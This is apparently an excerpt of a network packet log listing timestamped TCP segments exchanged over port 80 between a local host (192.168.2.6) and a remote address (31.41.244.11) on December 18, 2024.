Dec 18, 2024 11:47:46.615725040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.615782022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.615817070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.616981983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.617028952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.617064953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.617100954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.618009090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.618053913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.618244886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.618282080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.619292974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.619339943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.619354963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.619391918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.620457888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.620510101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.620544910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.620579958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.621521950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.621565104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.621716022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.621753931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.622733116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.622777939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.622811079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.622845888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.623855114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.623897076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.623977900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.624015093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.625073910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.625114918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.625138044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.625171900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.755552053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.755618095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.755669117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.755696058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.756114960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.756155014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.756251097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.756288052 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.757313013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.757353067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.757394075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.757428885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.758444071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.758486032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.758816957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.758861065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.758929014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.758969069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.760051966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.760096073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.760171890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.760205984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.761140108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.761184931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.761230946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.761267900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.762336969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.762382984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.762944937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.762983084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.763489008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.763530016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.763601065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.763637066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.764652014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.764745951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.764754057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.764789104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.765836000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.765876055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.765911102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.765945911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.766988039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.767030954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.767061949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.767098904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.768171072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.768213034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.768270969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.768306971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.769325972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.769368887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.769418955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.769458055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.770519018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.770560980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.770600080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.770633936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.771672964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.771717072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.771765947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.771800995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.772835016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.772878885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.772948980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.772985935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.774003983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.774108887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.774156094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.775188923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.775218010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.775271893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.776433945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.776488066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.776766062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.777509928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.777556896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.777671099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.778346062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.778732061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.778805017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.778845072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.779985905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.780080080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.780121088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.781079054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.781352997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.781395912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.782217979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.782263041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.782299995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.783432961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.783485889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.783557892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.784593105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.784648895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.784668922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.784704924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.785762072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.785940886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.785984993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.786932945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.787125111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.787166119 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.788057089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.788099051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.788136005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.789243937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.789307117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.789344072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.790343046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.791512966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.791527033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.791565895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.791582108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.791639090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.791676044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.792754889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.792799950 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.792845011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.793929100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.793965101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.793968916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.793998957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.795068979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.795216084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.795260906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.796283007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.796346903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.796386003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.797421932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.797465086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.797506094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.798341990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.798959017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.798974037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.798999071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.799015999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.799761057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.799817085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.799838066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.800942898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.800995111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.801026106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.802083015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.802123070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.802129984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.802160025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.803234100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.803391933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.803437948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.804450989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.804563046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.804611921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.805598974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.805721045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.805771112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.806804895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.806943893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.806986094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.807935953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.807982922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.808070898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.809144974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.809189081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.809262991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.810261965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.810309887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.810373068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.811467886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.811521053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.811563015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.811600924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.812570095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.812690020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.812738895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.813818932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.813909054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.813955069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.814975023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.815171957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.815217018 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.816098928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.816178083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.816226006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.946599960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.946666002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.946748018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.946796894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.947124958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.947170973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.947391987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.947432041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.947593927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.947638035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.948596001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.948645115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.948676109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.948718071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.949765921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.949807882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.950051069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.950093985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.950932026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.951040983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.951070070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.951113939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.952074051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.952117920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.952167034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.952210903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.953231096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.953277111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.953438044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.953478098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.954406977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.954447985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.954510927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.954550028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.955575943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.955620050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.955624104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.955662012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.956770897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.956814051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.956856012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.956895113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.957906008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.957954884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.957981110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.958018064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.959081888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.959126949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.959127903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.959167004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.960325003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.960366011 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.960396051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.960443974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.961446047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.961514950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.961561918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.962621927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.962712049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.962766886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.963804960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.963860035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.963885069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.964953899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.965004921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.965058088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.966108084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.966157913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.966212034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.966254950 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.967319965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.967370033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.967541933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.967586040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.968442917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.968486071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.968544960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.968586922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.969593048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.969638109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.969696999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.969738007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.970825911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.970936060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.970938921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.970973969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.971971035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.972013950 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.972138882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.972177982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.973112106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.973159075 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.973206043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.973248005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.974417925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.974459887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.974489927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.974533081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.975470066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.975513935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.975588083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.975625992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.976624012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.976661921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.976752043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.976852894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.977791071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.977835894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.977996111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.978035927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.978988886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.979011059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.979033947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.979048967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.980178118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.980221033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.980376959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.980415106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.981517076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.981547117 CET	80	49878	31.41.244.11	192.168.2.6
